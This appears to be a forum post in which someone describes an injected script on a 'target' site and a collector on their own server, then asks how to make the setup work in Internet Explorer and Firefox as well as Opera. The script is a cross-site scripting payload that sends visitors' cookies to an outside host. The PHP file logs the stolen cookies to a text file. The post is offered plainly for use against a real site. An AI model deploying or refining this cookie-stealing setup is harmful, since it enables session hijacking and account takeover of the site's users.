Okay this is what I have on my targets site.
And this is what is on my server.Code:<script>
document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;
</script>
Code:Code:
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
For some reason this only works on Opera any ideas on how I can this compatible with IE and FF?